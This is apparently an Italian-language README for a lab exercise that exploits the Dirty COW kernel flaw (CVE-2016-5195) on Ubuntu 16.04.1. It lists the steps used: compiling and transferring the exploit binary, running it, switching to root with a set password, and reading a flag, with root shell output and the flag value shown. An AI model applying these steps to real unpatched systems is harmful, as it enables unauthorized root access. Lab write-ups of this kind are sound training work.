dirtycow-lab

Sfruttamento della vulnerabilità Dirty COW (CVE-2016-5195) su Ubuntu 16.04.1.

cat > README.md <<'EOF'

🐮 Dirty COW Exploit (CVE-2016-5195)

📌 Descrizione

Questo laboratorio dimostra lo sfruttamento della vulnerabilità Dirty COW su un sistema Ubuntu Server 16.04.1 con kernel vulnerabile.
L'obiettivo era elevare i privilegi da un utente limitato (student) fino a root e catturare la flag situata in /root/flag.txt.

🛠️ Processo eseguito

1. Verifica del kernel: Linux 4.4.0-31-generic (vulnerabile).
2. Compilazione dell'exploit: su Kali all'interno di Docker ubuntu:16.04 è stato compilato dirtycow_passwd.c → binario dirty.
3. Trasferimento: scp dirty student@<IP>:~/.
4. Esecuzione ed elevazione: chmod +x ~/dirty && ~/dirty → su root (pass dirtyCowFun).
5. Flag: cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}.

✅ Risultato

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

Flag ottenuta